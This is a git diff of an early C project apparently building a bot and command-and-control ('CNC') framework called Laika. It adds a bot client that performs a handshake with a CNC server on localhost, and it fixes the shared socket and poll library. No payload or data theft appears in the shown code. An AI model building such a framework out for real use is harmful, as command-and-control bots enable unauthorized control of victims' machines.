diff --git a/.gitignore b/.gitignore index 5acb669..8df67f9 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,4 @@ build +debug +bin .vscode diff --git a/CMakeLists.txt b/CMakeLists.txt index 67d9ecc..b71d4d0 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -1,4 +1,12 @@ cmake_minimum_required(VERSION 3.10) +project(Laika) + +# Set the project as the default startup project for VS +set_property(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} PROPERTY VS_STARTUP_PROJECT Laika) + +# Output binaries to the bin folder in the source directory +set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_SOURCE_DIR}/bin) +set(CMAKE_ARCHIVE_OUTPUT_DIRECTORY ${CMAKE_SOURCE_DIR}/bin) # compile laikalib, cnc & bot add_subdirectory(lib) diff --git a/bot/include/bot.h b/bot/include/bot.h new file mode 100644 index 0000000..d006aa1 --- /dev/null +++ b/bot/include/bot.h @@ -0,0 +1,21 @@ +#ifndef LAIKA_BOT_H +#define LAIKA_BOT_H + +#include "laika.h" +#include "lpacket.h" +#include "lsocket.h" +#include "lpeer.h" +#include "lpolllist.h" + +struct sLaika_bot { + struct sLaika_peer *peer; + struct sLaika_pollList pList; +}; + +struct sLaika_bot *laikaB_newBot(void); +void laikaB_freeBot(struct sLaika_bot *bot); + +void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port); /* can throw a LAIKA_ERROR */ +bool laikaB_poll(struct sLaika_bot *bot, int timeout); + +#endif \ No newline at end of file diff --git a/bot/src/bot.c b/bot/src/bot.c new file mode 100644 index 0000000..820d522 --- /dev/null +++ b/bot/src/bot.c @@ -0,0 +1,73 @@ +#include "lmem.h" +#include "lerror.h" +#include "bot.h" + +size_t laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = { + [LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t) +}; + +void laikaB_pktHandler(struct sLaika_peer *peer, uint8_t id, void *uData) { + printf("got %d packet id!\n", id); +} + +struct sLaika_bot *laikaB_newBot(void) { + struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot)); + + laikaP_initPList(&bot->pList); + bot->peer = laikaS_newPeer( + laikaB_pktHandler, + laikaB_pktSizeTbl, + &bot->pList, + (void*)bot + ); + + return bot; +} + +void laikaB_freeBot(struct sLaika_bot *bot) { + laikaP_cleanPList(&bot->pList); + laikaS_freePeer(bot->peer); + laikaM_free(bot); +} + +void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) { + struct sLaika_socket *sock = &bot->peer->sock; + + /* setup socket */ + laikaS_connect(sock, ip, port); + laikaS_setNonBlock(sock); + + laikaP_addSock(&bot->pList, sock); + + /* queue handshake request */ + laikaS_writeByte(sock, LAIKAPKT_HANDSHAKE_REQ); + laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN); + laikaS_writeByte(sock, LIB_VERSION_MAJOR); + laikaS_writeByte(sock, LIB_VERSION_MINOR); + + if (!laikaS_handlePeerOut(bot->peer)) + LAIKA_ERROR("failed to send handshake request!\n") +} + +bool laikaB_poll(struct sLaika_bot *bot, int timeout) { + struct sLaika_pollEvent *evnt; + int numEvents; + + evnt = laikaP_poll(&bot->pList, timeout, &numEvents); + + if (numEvents == 0) /* no events? timeout was reached */ + return false; + + if (evnt->pollIn && !laikaS_handlePeerIn(bot->peer)) + goto _BKill; + + if (evnt->pollOut && !laikaS_handlePeerOut(bot->peer)) + goto _BKill; + + if (!evnt->pollIn && !evnt->pollOut) { +_BKill: + laikaS_kill(&bot->peer->sock); + } + + return true; +} \ No newline at end of file diff --git a/bot/src/main.c b/bot/src/main.c index e69de29..f1849ff 100644 --- a/bot/src/main.c +++ b/bot/src/main.c @@ -0,0 +1,21 @@ +#include + +#include "lerror.h" +#include "bot.h" + +int main(int argv, char **argc) { + struct sLaika_bot *bot = laikaB_newBot(); + + /* connect to test CNC */ + laikaB_connectToCNC(bot, "127.0.0.1", "13337"); + + /* while connection is still alive, poll bot */ + while (laikaS_isAlive((&bot->peer->sock))) { + if (!laikaB_poll(bot, 1000)) { + printf("no events!\n"); + } + } + + printf("bot killed\n"); + return 0; +} \ No newline at end of file diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index 3076b5b..47fae5f 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -7,7 +7,7 @@ size_t laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = { [LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) }; -void laikaC_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) { +void laikaC_pktHandler(struct sLaika_peer *peer, uint8_t id, void *uData) { printf("got %d packet id!\n", id); } @@ -34,7 +34,8 @@ void laikaC_freeCNC(struct sLaika_cnc *cnc) { } void laikaC_killPeer(struct sLaika_cnc *cnc, struct sLaika_peer *peer) { - laikaP_rmvSock(&cnc->pList, (struct sLaika_sock*)peer); + printf("peer %x killed!\n", peer); + laikaP_rmvSock(&cnc->pList, (struct sLaika_socket*)peer); laikaS_kill(&peer->sock); } @@ -66,6 +67,8 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) { /* add to our pollList */ laikaP_addSock(&cnc->pList, &peer->sock); + + printf("new peer %x!\n", peer); continue; } diff --git a/cnc/src/main.c b/cnc/src/main.c index e69de29..8b7f6d9 100644 --- a/cnc/src/main.c +++ b/cnc/src/main.c @@ -0,0 +1,16 @@ +#include + +#include "cnc.h" + +int main(int argv, char **argc) { + struct sLaika_cnc *cnc = laikaC_newCNC(13337); + + while (true) { + if (!laikaC_pollPeers(cnc, 1000)) { + printf("no events!\n"); + } + } + + printf("cnc killed\n"); + return 0; +} \ No newline at end of file diff --git a/lib/CMakeLists.txt b/lib/CMakeLists.txt index 82c65cb..0760faf 100644 --- a/lib/CMakeLists.txt +++ b/lib/CMakeLists.txt @@ -14,9 +14,6 @@ project(LaikaLib VERSION ${LIB_VERSION_MAJOR}.${LIB_VERSION_MINOR}) # Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder set_property(GLOBAL PROPERTY USE_FOLDERS ON) -# Set the project as the default startup project for VS -set_property(DIRECTORY ${CMAKE_CURRENT_SOURCE_DIR} PROPERTY VS_STARTUP_PROJECT LaikaLib) - # compile LaikaLib library file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c) add_library(LaikaLib STATIC ${LIBSOURCE}) @@ -28,4 +25,4 @@ target_compile_definitions(LaikaLib PUBLIC LIB_VERSION_MAJOR=${LIB_VERSION_MAJOR target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR}) # set library name -set_target_properties(LaikaLib PROPERTIES OUTPUT_NAME net-${LIB_VERSION_MAJOR}.${LIB_VERSION_MINOR}) +set_target_properties(LaikaLib PROPERTIES OUTPUT_NAME laika-${LIB_VERSION_MAJOR}.${LIB_VERSION_MINOR}) diff --git a/lib/include/laika.h b/lib/include/laika.h index 1160049..5ec50b2 100644 --- a/lib/include/laika.h +++ b/lib/include/laika.h @@ -10,4 +10,13 @@ #define ARRAY_START 4 +/* for intellisense */ +#ifndef LIB_VERSION_MAJOR +#define LIB_VERSION_MAJOR 0 +#endif + +#ifndef LIB_VERSION_MINOR +#define LIB_VERSION_MINOR 0 +#endif + #endif \ No newline at end of file diff --git a/lib/include/lmem.h b/lib/include/lmem.h index a39a12a..2e0e352 100644 --- a/lib/include/lmem.h +++ b/lib/include/lmem.h @@ -11,7 +11,7 @@ #define laikaM_growarray(type, buf, count, capacity) \ if (count >= capacity || buf == NULL) { \ capacity *= GROW_FACTOR; \ - buf = (type*)cosmoM_realloc(buf, sizeof(type)*capacity); \ + buf = (type*)laikaM_realloc(buf, sizeof(type)*capacity); \ } /* moves array elements above indx down by numElem, removing numElem elements at indx */ diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index 3480975..612c6f1 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -4,10 +4,10 @@ #define LAIKA_MAGIC "LAI\x12" #define LAIKA_MAGICLEN 4 -typedef enum { +enum { LAIKAPKT_HANDSHAKE_REQ, LAIKAPKT_HANDSHAKE_RES, LAIKAPKT_MAXNONE -} LAIKAPKT_ID; +}; #endif \ No newline at end of file diff --git a/lib/include/lpeer.h b/lib/include/lpeer.h index a5eb981..22b2ac6 100644 --- a/lib/include/lpeer.h +++ b/lib/include/lpeer.h @@ -9,15 +9,15 @@ struct sLaika_peer { struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */ struct sLaika_pollList *pList; /* pollList we're active in */ - void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData); + void (*pktHandler)(struct sLaika_peer *peer, uint8_t id, void *uData); void *uData; /* data to be passed to pktHandler */ size_t *pktSizeTable; /* const table to pull pkt size data from */ size_t pktSize; /* current pkt size */ - LAIKAPKT_ID pktID; /* current pkt ID */ + uint8_t pktID; /* current pkt ID */ bool setPollOut; /* is EPOLLOUT/POLLOUT is set on sock's pollfd ? */ }; -struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData), size_t *pktSizeTable, struct sLaika_pollList *pList, void *uData); +struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, uint8_t id, void *uData), size_t *pktSizeTable, struct sLaika_pollList *pList, void *uData); void laikaS_freePeer(struct sLaika_peer *peer); bool laikaS_handlePeerIn(struct sLaika_peer *peer); diff --git a/lib/include/lsocket.h b/lib/include/lsocket.h index e5071fd..52c95ba 100644 --- a/lib/include/lsocket.h +++ b/lib/include/lsocket.h @@ -1,3 +1,7 @@ +#ifndef LAIKA_SOCKET_H +#define LAIKA_SOCKET_H + + /* socket/winsock headers */ #ifdef _WIN32 /* windows */ @@ -62,7 +66,7 @@ struct sLaika_socket { int inCount; int outCap; int inCap; - bool flipEndian + bool flipEndian; }; #define laikaS_isAlive(arg) (arg->sock != INVALID_SOCKET) @@ -95,4 +99,6 @@ void laikaS_readInt(struct sLaika_socket *sock, void *buf, size_t sz); /* reads void laikaS_writeInt(struct sLaika_socket *sock, void *buf, size_t sz); /* writes INT, respecting endianness */ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed); -RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed); \ No newline at end of file +RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed); + +#endif \ No newline at end of file diff --git a/lib/src/lmem.c b/lib/src/lmem.c index 2fe3095..92be2a4 100644 --- a/lib/src/lmem.c +++ b/lib/src/lmem.c @@ -12,7 +12,7 @@ void *laikaM_realloc(void *buf, size_t sz) { /* if NULL is passed, realloc() acts like malloc() */ if ((newBuf = realloc(buf, sz)) == NULL) - LAIKA_ERROR("failed to allocate memory!"); + LAIKA_ERROR("failed to allocate memory!\n"); return newBuf; } \ No newline at end of file diff --git a/lib/src/lpeer.c b/lib/src/lpeer.c index c8b40bf..ac16743 100644 --- a/lib/src/lpeer.c +++ b/lib/src/lpeer.c @@ -2,7 +2,7 @@ #include "lmem.h" #include "lpeer.h" -struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData), size_t *pktSizeTable, struct sLaika_pollList *pList, void *uData) { +struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, uint8_t id, void *uData), size_t *pktSizeTable, struct sLaika_pollList *pList, void *uData) { struct sLaika_peer *peer = laikaM_malloc(sizeof(struct sLaika_peer)); laikaS_initSocket(&peer->sock); @@ -35,7 +35,7 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) { /* sanity check packet ID */ if (peer->pktID >= LAIKAPKT_MAXNONE) - LAIKA_ERROR("received evil pktID!") + LAIKA_ERROR("received evil pktID!\n") peer->pktSize = peer->pktSizeTable[peer->pktID]; break; @@ -67,7 +67,7 @@ bool laikaS_handlePeerOut(struct sLaika_peer *peer) { int sent; if (peer->sock.outCount == 0) /* sanity check */ - return; + return true; switch (laikaS_rawSend(&peer->sock, peer->sock.outCount, &sent)) { case RAWSOCK_OK: /* we're ok! */ diff --git a/lib/src/lpolllist.c b/lib/src/lpolllist.c index da08005..12333b6 100644 --- a/lib/src/lpolllist.c +++ b/lib/src/lpolllist.c @@ -32,7 +32,7 @@ void laikaP_initPList(struct sLaika_pollList *pList) { /* setup our epoll */ memset(&pList->ev, 0, sizeof(struct epoll_event)); if ((pList->epollfd = epoll_create(POLLSTARTCAP)) == -1) - LAIKA_ERROR("epoll_create() failed!"); + LAIKA_ERROR("epoll_create() failed!\n"); #else pList->fds = NULL; /* laikaP_addSock will allocate the buffer */ @@ -62,7 +62,7 @@ void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) { pList->ev.data.ptr = (void*)sock; if (epoll_ctl(pList->epollfd, EPOLL_CTL_ADD, sock->sock, &pList->ev) == -1) - LAIKA_ERROR("epoll_ctl [ADD] failed"); + LAIKA_ERROR("epoll_ctl [ADD] failed\n"); #else /* allocate space in array & add PollFD */ @@ -79,7 +79,7 @@ void laikaP_rmvSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) { /* epoll_event* isn't needed with EPOLL_CTL_DEL, however we still need to pass a NON-NULL pointer. [see: https://man7.org/linux/man-pages/man2/epoll_ctl.2.html#BUGS] */ if (epoll_ctl(pList->epollfd, EPOLL_CTL_DEL, sock->sock, &pList->ev) == -1) { /* non-fatal error, socket probably just didn't exist, so ignore it. */ - LAIKA_WARN("epoll_ctl [DEL] failed"); + LAIKA_WARN("epoll_ctl [DEL] failed\n"); } #else int i; @@ -101,7 +101,7 @@ void laikaP_addPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock pList->ev.data.ptr = (void*)sock; if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) { /* non-fatal error, socket probably just didn't exist, so ignore it. */ - LAIKA_WARN("epoll_ctl [MOD] failed"); + LAIKA_WARN("epoll_ctl [MOD] failed\n"); } #else int i; @@ -122,7 +122,7 @@ void laikaP_rmvPollOut(struct sLaika_pollList *pList, struct sLaika_socket *sock pList->ev.data.ptr = (void*)sock; if (epoll_ctl(pList->epollfd, EPOLL_CTL_MOD, sock->sock, &pList->ev) == -1) { /* non-fatal error, socket probably just didn't exist, so ignore it. */ - LAIKA_WARN("epoll_ctl [MOD] failed"); + LAIKA_WARN("epoll_ctl [MOD] failed\n"); } #else int i; @@ -148,7 +148,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, nEvents = epoll_wait(pList->epollfd, pList->ep_events, MAX_EPOLL_EVENTS, timeout); if (SOCKETERROR(nEvents)) - LAIKA_ERROR("epoll_wait() failed!"); + LAIKA_ERROR("epoll_wait() failed!\n"); for (i = 0; i < nEvents; i++) { /* add event to revent array */ @@ -163,7 +163,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout, nEvents = poll(pList->fds, pList->fdCount, timeout); /* poll returns -1 for error, or the number of events */ if (SOCKETERROR(nEvents)) - LAIKA_ERROR("poll() failed!"); + LAIKA_ERROR("poll() failed!\n"); /* walk through the returned poll fds, if they have an event, add it to our revents array */ for (i = 0; i < pList->fdCount && nEvents > 0; i++) { diff --git a/lib/src/lsocket.c b/lib/src/lsocket.c index 70c6a27..dfe4e9f 100644 --- a/lib/src/lsocket.c +++ b/lib/src/lsocket.c @@ -15,7 +15,7 @@ void laikaS_init(void) { WSADATA wsaData; if (WSAStartup(MAKEWORD(1, 1), &wsaData) != 0) - LAIKA_ERROR("WSAStartup failed!") + LAIKA_ERROR("WSAStartup failed!\n") #endif } @@ -39,7 +39,6 @@ void laikaS_initSocket(struct sLaika_socket *sock) { sock->flipEndian = false; laikaS_init(); - return sock; } void laikaS_cleanSocket(struct sLaika_socket *sock) { @@ -71,7 +70,7 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) { struct addrinfo res, *result, *curr; if (!SOCKETINVALID(sock->sock)) - LAIKA_ERROR("socket already setup!"); + LAIKA_ERROR("socket already setup!\n"); /* zero out our address info and setup the type */ memset(&res, 0, sizeof(struct addrinfo)); @@ -80,7 +79,7 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) { /* grab the address info */ if (getaddrinfo(ip, port, &res, &result) != 0) - LAIKA_ERROR("getaddrinfo() failed!"); + LAIKA_ERROR("getaddrinfo() failed!\n"); /* getaddrinfo returns a list of possible addresses, step through them and try them until we find a valid address */ for (curr = result; curr != NULL; curr = curr->ai_next) { @@ -100,20 +99,20 @@ void laikaS_connect(struct sLaika_socket *sock, char *ip, char *port) { /* if we reached the end of the linked list, we failed looking up the addr */ if (curr == NULL) - LAIKA_ERROR("couldn't connect a valid address handle to socket!"); + LAIKA_ERROR("couldn't connect a valid address handle to socket!\n"); } void laikaS_bind(struct sLaika_socket *sock, uint16_t port) { socklen_t addressSize; struct sockaddr_in address; - if (!SOCKETINVALID(sock)) - LAIKA_ERROR("socket already setup!") + if (!SOCKETINVALID(sock->sock)) + LAIKA_ERROR("socket already setup!\n") /* open our socket */ sock->sock = socket(AF_INET, SOCK_STREAM, 0); - if (SOCKETINVALID(sock)) - LAIKA_ERROR("socket() failed!"); + if (SOCKETINVALID(sock->sock)) + LAIKA_ERROR("socket() failed!\n"); /* attach socket to the port */ int opt = 1; @@ -122,7 +121,7 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) { #else if (setsockopt(sock->sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(int)) != 0) #endif - LAIKA_ERROR("setsockopt() failed!"); + LAIKA_ERROR("setsockopt() failed!\n"); address.sin_family = AF_INET; address.sin_addr.s_addr = INADDR_ANY; @@ -132,19 +131,19 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port) { /* bind to the port */ if (SOCKETERROR(bind(sock->sock, (struct sockaddr *)&address, addressSize))) - LAIKA_ERROR("bind() failed!"); + LAIKA_ERROR("bind() failed!\n"); if (SOCKETERROR(listen(sock->sock, SOMAXCONN))) - LAIKA_ERROR("listen() failed!"); + LAIKA_ERROR("listen() failed!\n"); } void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from) { socklen_t addressSize; struct sockaddr address; - sock = accept(from->sock, &address, &addressSize); - if (SOCKETINVALID(sock)) - LAIKA_ERROR("accept() failed!") + sock->sock = accept(from->sock, &address, &addressSize); + if (SOCKETINVALID(sock->sock)) + LAIKA_ERROR("accept() failed!\n") } bool laikaS_setNonBlock(struct sLaika_socket *sock) { @@ -154,7 +153,7 @@ bool laikaS_setNonBlock(struct sLaika_socket *sock) { #else if (fcntl(sock->sock, F_SETFL, (fcntl(sock->sock, F_GETFL, 0) | O_NONBLOCK)) != 0) { #endif - LAIKA_WARN("fcntl failed on new connection"); + LAIKA_WARN("fcntl failed on new connection\n"); laikaS_kill(sock); return false; }